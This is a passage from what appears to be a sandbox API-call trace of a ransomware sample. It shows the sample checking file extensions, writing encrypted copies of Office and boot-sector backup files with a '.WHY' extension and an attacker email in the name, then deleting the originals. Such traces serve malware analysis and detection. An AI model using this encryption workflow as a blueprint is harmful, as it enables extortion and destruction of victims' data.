controller\\office.en-us\\officemui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0082.326] GetLastError () returned 0x0 [0082.326] ReadFile (in: hFile=0x1e4, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x15b5, lpOverlapped=0x0) returned 1 [0082.330] WriteFile (in: hFile=0x1f8, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0082.333] ReadFile (in: hFile=0x1e4, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0082.333] WriteFile (in: hFile=0x1f8, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xee, lpOverlapped=0x0) returned 1 [0082.333] SetEndOfFile (hFile=0x1f8) returned 1 [0082.334] CloseHandle (hObject=0x1f8) returned 1 [0082.335] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.335] SetEndOfFile (hFile=0x1e4) returned 1 [0082.337] CloseHandle (hObject=0x1e4) returned 1 [0082.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0082.337] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 1 [0082.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0082.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0082.338] lstrlenW (lpString=".doc") returned 4 [0082.338] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0082.338] lstrlenW (lpString=".docx") returned 5 [0082.338] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0082.338] lstrlenW (lpString=".pdf") returned 4 [0082.338] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0082.338] lstrlenW (lpString=".xls") returned 4 [0082.338] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0082.339] lstrlenW (lpString=".xlsx") returned 5 [0082.339] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0082.339] lstrlenW (lpString=".ppt") returned 4 [0082.339] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0082.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0082.339] lstrlenW (lpString=".zip") returned 4 [0082.339] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0082.339] lstrlenW (lpString=".rar") returned 4 [0082.339] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0082.339] lstrlenW (lpString=".bz2") returned 4 [0082.340] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0082.340] lstrlenW (lpString=".7z") returned 3 [0082.340] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0082.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0082.340] lstrlenW (lpString=".dbf") returned 4 [0082.340] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0082.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0082.340] lstrlenW (lpString=".1cd") returned 4 [0082.340] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0082.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0082.340] lstrlenW (lpString=".jpg") returned 4 [0082.340] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0082.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0082.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0082.341] lstrlenW (lpString=".doc") returned 4 [0082.341] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0082.341] lstrlenW (lpString=".docx") returned 5 [0082.341] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0082.341] lstrlenW (lpString=".pdf") returned 4 [0082.341] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0082.341] lstrlenW (lpString=".xls") returned 4 [0082.341] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0082.341] lstrlenW (lpString=".xlsx") returned 5 [0082.341] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0082.341] lstrlenW (lpString=".ppt") returned 4 [0082.341] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0082.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0082.341] lstrlenW (lpString=".zip") returned 4 [0082.341] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0082.341] lstrlenW (lpString=".rar") returned 4 [0082.341] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0082.342] lstrlenW (lpString=".bz2") returned 4 [0082.342] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0082.342] lstrlenW (lpString=".7z") returned 3 [0082.342] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0082.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0082.342] lstrlenW (lpString=".dbf") returned 4 [0082.342] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0082.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0082.342] lstrlenW (lpString=".1cd") returned 4 [0082.342] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0082.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0082.342] lstrlenW (lpString=".jpg") returned 4 [0082.342] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0082.342] lstrcmpiW (lpString1=".CHM", lpString2=".WHY") returned -1 [0082.343] lstrlenW (lpString="PSCONFIG.CHM") returned 12 [0082.343] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0082.344] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=37689) returned 1 [0082.344] CloseHandle (hObject=0x1e4) returned 1 [0082.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 0x20 [0082.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0082.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0082.345] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.345] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0082.345] GetLastError () returned 0x0 [0082.346] ReadFile (in: hFile=0x1e4, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x9339, lpOverlapped=0x0) returned 1 [0083.483] WriteFile (in: hFile=0x1f8, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0x9340, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x9340, lpOverlapped=0x0) returned 1 [0083.488] ReadFile (in: hFile=0x1e4, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0083.488] WriteFile (in: hFile=0x1f8, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0083.489] SetEndOfFile (hFile=0x1f8) returned 1 [0083.489] CloseHandle (hObject=0x1f8) returned 1 [0083.494] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0083.494] SetEndOfFile (hFile=0x1e4) returned 1 [0083.497] CloseHandle (hObject=0x1e4) returned 1 [0083.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0083.498] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 1 [0083.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0083.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0083.499] lstrlenW (lpString=".doc") returned 4 [0083.499] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0083.499] lstrlenW (lpString=".docx") returned 5 [0083.499] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0083.499] lstrlenW (lpString=".pdf") returned 4 [0083.499] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0083.499] lstrlenW (lpString=".xls") returned 4 [0083.499] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0083.499] lstrlenW (lpString=".xlsx") returned 5 [0083.500] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0083.500] lstrlenW (lpString=".ppt") returned 4 [0083.500] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0083.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0083.500] lstrlenW (lpString=".zip") returned 4 [0083.500] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0083.500] lstrlenW (lpString=".rar") returned 4 [0083.500] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0083.500] lstrlenW (lpString=".bz2") returned 4 [0083.500] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0083.500] lstrlenW (lpString=".7z") returned 3 [0083.500] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0083.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0083.501] lstrlenW (lpString=".dbf") returned 4 [0083.501] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0083.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0083.501] lstrlenW (lpString=".1cd") returned 4 [0083.501] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0083.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0083.501] lstrlenW (lpString=".jpg") returned 4 [0083.501] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0083.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0083.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0083.502] lstrlenW (lpString=".doc") returned 4 [0083.502] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0083.502] lstrlenW (lpString=".docx") returned 5 [0083.502] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0083.502] lstrlenW (lpString=".pdf") returned 4 [0083.502] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0083.502] lstrlenW (lpString=".xls") returned 4 [0083.502] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0083.502] lstrlenW (lpString=".xlsx") returned 5 [0083.502] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0083.502] lstrlenW (lpString=".ppt") returned 4 [0083.502] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0083.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0083.502] lstrlenW (lpString=".zip") returned 4 [0083.502] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0083.503] lstrlenW (lpString=".rar") returned 4 [0083.503] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0083.503] lstrlenW (lpString=".bz2") returned 4 [0083.503] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0083.503] lstrlenW (lpString=".7z") returned 3 [0083.503] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0083.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0083.503] lstrlenW (lpString=".dbf") returned 4 [0083.503] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0083.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0083.503] lstrlenW (lpString=".1cd") returned 4 [0083.503] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0083.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0083.503] lstrlenW (lpString=".jpg") returned 4 [0083.504] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0083.504] lstrcmpiW (lpString1=".CHM", lpString2=".WHY") returned -1 [0083.504] lstrlenW (lpString="PSS10O.CHM") returned 10 [0083.504] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0083.505] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=26929) returned 1 [0083.505] CloseHandle (hObject=0x1e4) returned 1 [0083.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 0x20 [0083.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0083.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0083.506] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0083.506] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0083.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0083.507] GetLastError () returned 0x0 [0083.507] ReadFile (in: hFile=0x1e4, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x6931, lpOverlapped=0x0) returned 1 [0083.571] WriteFile (in: hFile=0x1f8, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0x6940, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x6940, lpOverlapped=0x0) returned 1 [0083.576] ReadFile (in: hFile=0x1e4, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0083.576] WriteFile (in: hFile=0x1f8, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0083.577] SetEndOfFile (hFile=0x1f8) returned 1 [0083.904] CloseHandle (hObject=0x1f8) Thread: id = 12 os_tid = 0x578 [0059.109] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10000) returned 0x5a1858 [0059.110] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10000) returned 0x35f0048 [0059.112] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x5603e8 [0059.112] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x6) returned 0x514318 [0059.112] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x560400 [0059.112] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x100000) returned 0x36f0020 [0059.113] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x560418 [0059.113] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x560418, Size=0x20) returned 0x514870 [0059.113] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x560418 [0059.113] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x560418, Size=0x20) returned 0x5148c0 [0059.113] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0059.113] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0059.113] Wow64DisableWow64FsRedirection (in: OldValue=0x2dbff58 | out: OldValue=0x2dbff58*=0x0) returned 1 [0059.113] lstrlenW (lpString="kernel32.dll") returned 12 [0059.113] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x514870 | out: hHeap=0x4c0000) returned 1 [0059.113] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0059.113] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x5148c0 | out: hHeap=0x4c0000) returned 1 [0059.114] Sleep (dwMilliseconds=0x64) [0059.510] Sleep (dwMilliseconds=0x64) [0059.928] lstrcmpiW (lpString1=".BAK", lpString2=".WHY") returned -1 [0059.928] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0059.928] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0059.930] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=8192) returned 1 [0059.930] CloseHandle (hObject=0x1a0) returned 1 [0059.930] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0059.931] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\bootsect.bak.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0059.931] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0059.931] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0059.931] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.932] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.932] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\bootsect.bak.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0060.391] GetLastError () returned 0x0 [0060.391] ReadFile (in: hFile=0x1a0, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2dbfed4*=0x2000, lpOverlapped=0x0) returned 1 [0060.828] WriteFile (in: hFile=0x17c, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x2010, lpOverlapped=0x0) returned 1 [0060.831] ReadFile (in: hFile=0x1a0, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0060.831] WriteFile (in: hFile=0x17c, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.831] SetEndOfFile (hFile=0x17c) returned 1 [0060.832] CloseHandle (hObject=0x17c) returned 1 [0060.834] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.834] SetEndOfFile (hFile=0x1a0) returned 1 [0060.837] CloseHandle (hObject=0x1a0) returned 1 [0060.837] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x27) returned 1 [0060.838] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0060.838] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0060.838] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0060.839] lstrlenW (lpString=".doc") returned 4 [0060.839] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0060.839] lstrlenW (lpString=".docx") returned 5 [0060.839] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0060.839] lstrlenW (lpString=".pdf") returned 4 [0060.839] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0060.839] lstrlenW (lpString=".xls") returned 4 [0060.839] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0060.839] lstrlenW (lpString=".xlsx") returned 5 [0060.839] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0060.839] lstrlenW (lpString=".ppt") returned 4 